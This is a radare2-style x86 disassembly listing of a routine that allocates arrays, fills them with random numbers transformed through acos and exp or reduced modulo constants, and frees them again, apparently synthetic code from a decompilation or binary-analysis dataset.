mov dword [ebp - 0xa8], 0xffffffff
mov dword [esp], 0x6f0
call sym._malloc
mov dword [ebp - 0x21d0], eax
add dword [ebp - 0xa8], 1
call sym._rand
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0xa8]
lea edx, [eax*8]
mov eax, dword [ebp - 0x21d0]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0xa8]
lea edx, [eax*8]
mov eax, dword [ebp - 0x21d0]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0xa8]
lea edx, [eax*8]
mov eax, dword [ebp - 0x21d0]
lea ebx, [edx + eax]
fstp qword [esp]
call sym._acos
fstp qword [ebx]
cmp dword [ebp - 0xa8], 0xdc
jle 0x4028ce
mov dword [ebp - 0xac], 0xffffffff
add dword [ebp - 0xac], 1
call sym._rand
shl eax, 3
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
fstp qword [esp]
call dbg.exp
fstp qword [ebp - 0x21d8]
cmp dword [ebp - 0xac], 0x1e
jle 0x40295e
mov dword [ebp - 0x21dc], 0
mov dword [esp], 0x2c0
call sym._malloc
mov dword [ebp - 0x21e0], eax
mov dword [esp], 0x2c0
call sym._malloc
mov dword [ebp - 0x21e4], eax
mov dword [esp], 0x2c0
call sym._malloc
mov dword [ebp - 0x21e8], eax
mov dword [ebp - 0xb0], 0
jmp 0x402aad
cmp dword [ebp - 0xb0], 0xa
jle 0x4029e7
mov dword [esp], 0x614
call sym._malloc
mov dword [ebp - 0x21c4], eax
mov dword [ebp - 0xb8], 0
jmp 0x402bf5
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0xb8]
lea edx, [eax*4]
mov eax, dword [ebp - 0x21c4]
lea ebx, [edx + eax]
mov edx, 0x68db8bad
mov eax, ecx
imul edx
mov eax, edx
sar eax, 0xc
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x2710
mov eax, ecx
sub eax, edx
mov dword [ebx], eax
add dword [ebp - 0xb8], 1
cmp dword [ebp - 0xb8], 0x184
jle 0x402bb0
mov dword [ebp - 0xb8], 0
jmp 0x402cd3
cmp dword [ebp - 0x64], 0x36
jle 0x402657
mov eax, dword [ebp - 0x1080]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x578
call sym._malloc
mov dword [ebp - 0x109c], eax
mov dword [ebp - 0xc0], 0
jmp 0x402dd1
call sym._rand
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0xc0]
lea edx, [eax*8]
mov eax, dword [ebp - 0x109c]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
add dword [ebp - 0xc0], 1
cmp dword [ebp - 0xc0], 0xae
jle 0x402d92
mov dword [ebp - 0xc0], 0
jmp 0x402e27
mov eax, dword [ebp - 0xc0]
lea edx, [eax*8]
mov eax, dword [ebp - 0x109c]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0xc0]
lea edx, [eax*8]
mov eax, dword [ebp - 0x109c]
lea ebx, [edx + eax]
fstp qword [esp]
call sym._acos
fstp qword [ebx]
add dword [ebp - 0xc0], 1
cmp dword [ebp - 0xc0], 0xae
jle 0x402de9
mov dword [ebp - 0xc4], 0xffffffff
mov dword [esp], 0x7f8
call sym._malloc
mov dword [ebp - 0x10a0], eax
add dword [ebp - 0xc4], 1
call sym._rand
mov dword [ebp - 0x2428], eax
fild dword [ebp - 0x2428]
fld qword [0x42a260]
fdivp st(1)
fld st(0)
faddp st(1)
mov eax, dword [ebp - 0xc4]
lea edx, [eax*8]
mov eax, dword [ebp - 0x10a0]
add eax, edx
fld1
fsubp st(1)
fstp qword [eax]
mov eax, dword [ebp - 0xc4]
lea edx, [eax*8]
mov eax, dword [ebp - 0x10a0]
add eax, edx
fld qword [eax]
mov eax, dword [ebp - 0xc4]
lea edx, [eax*8]
mov eax, dword [ebp - 0x10a0]
lea ebx, [edx + eax]
fstp qword [esp]
call sym._acos
fstp qword [ebx]
cmp dword [ebp - 0xc4], 0xfd
jle 0x402e4f
mov dword [esp], 0x72c
call sym._malloc
mov dword [ebp - 0x10a4], eax
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0x10a8], 1
mov dword [ebp - 0xcc], 0
jmp 0x402f68
mov dword [ebp - 0xd0], 0
jmp 0x402f58
call sym._rand
mov ecx, eax
mov eax, dword [ebp - 0xcc]
imul edx, eax, 0x6c
mov eax, dword [ebp - 0x10a4]
lea ebx, [edx + eax]
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0xd0]
mov dword [ebx + edx*4], eax
add dword [ebp - 0xd0], 1
cmp dword [ebp - 0xd0], 0x1a
jle 0x402f13
add dword [ebp - 0xcc], 1
cmp dword [ebp - 0xcc], 0x10
jle 0x402f07
mov dword [ebp - 0xcc], 0
jmp 0x402fc5
mov dword [ebp - 0xd0], 0
jmp 0x402fb5
cmp dword [ebp - 0xd0], 0x1a
jle 0x402f89
cmp dword [ebp - 0xcc], 0x10
jle 0x402f7d
cmp dword [ebp - 0xc8], 0xe5
je 0x402fe4
mov dword [ebp - 0x10a8], 0
mov eax, dword [ebp - 0x10a4]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0xd4], 0x46
mov dword [ebp - 0xbc], 0x46
jmp 0x403493